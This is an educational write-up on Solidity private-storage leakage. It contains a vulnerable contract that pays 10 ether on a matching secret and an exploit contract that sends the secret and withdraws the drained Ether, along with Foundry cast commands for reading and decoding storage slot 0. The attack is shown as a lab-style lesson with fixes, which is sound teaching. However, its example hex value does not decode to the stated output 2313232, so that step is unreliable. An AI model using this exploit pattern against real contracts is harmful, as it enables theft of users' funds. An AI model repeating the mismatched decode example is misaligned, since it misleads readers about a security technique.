Private Data Leakage in Solidity
Vulnerable Contract (Target)
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract X {
uint256 private secret = 2313232;
constructor() payable {}
fallback() external payable {
// Require at least 32 bytes to decode uint256
if (msg.data.length >= 32) {
(uint256 num) = abi.decode(msg.data, (uint256));
if (num == secret) {
payable(msg.sender).transfer(10 ether);
}
}
}
receive() external payable {}
}
Exploit Contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Exploit {
address payable target;
constructor(address payable _target) {
target = _target;
}
function attack() external {
// Encoding the uint256 value (2313232)
bytes memory payload = abi.encode(uint256(2313232));
(bool success, ) = target.call{value: 0}(payload);
require(success, "Call failed");
}
// Withdraw stolen ETH
function withdraw() external {
payable(msg.sender).transfer(address(this).balance);
}
receive() external payable {}
}
Analysis of the Vulnerability
• The secret value is marked private but is still stored on-chain.
• Solidity's private keyword only restricts external contractual access, not visibility on the blockchain.
• The fallback function processes msg.data and performs a transfer if the decoded data matches the private secret.
• Any attacker who retrieves the value of secret from storage can exploit this logic to drain Ether.
Why It’s Vulnerable
• Anyone can call the fallback() with abi.encode(2313232) and receive Ether if they decode the private storage slot.
• The fallback logic creates an unintended entry point for attackers.
Foundry Commands to Read Storage and Decode Secret
- Read storage slot (assuming secret is in slot 0):
cast storage <contract_address> 0
Example:
cast storage 0x1767c4ee77CAE15Cc616a44BbAB2838C5049B6f6 0
- Decode uint256 value from returned hex:
cast decode "uint256" <hex_value>
Example:
cast decode "uint256" 0x0000000000000000000000000000000000000000000000000000000000233e30
Output:
2313232
How to Fix
• Never store sensitive secrets on-chain.
• Use cryptographic challenge/response patterns or off-chain validation.
• Avoid allowing fallback functions to execute critical logic based on externally provided data.
Extra Tips
• Always test contracts with potential exploit patterns.
• Consider using Foundry fuzz tests to simulate unknown inputs.
Summary
| Issue | Description |
|---|---|
| Storage Leakage | secret is readable on-chain despite being private. |
| Entry Point | fallback() creates a dangerous execution path. |
| Exploit | Exploit contract encodes and calls with the secret to drain ETH. |
Tools Used
• Foundry — for storage inspection and testing
• cast CLI — to inspect bytecode, storage, and decode data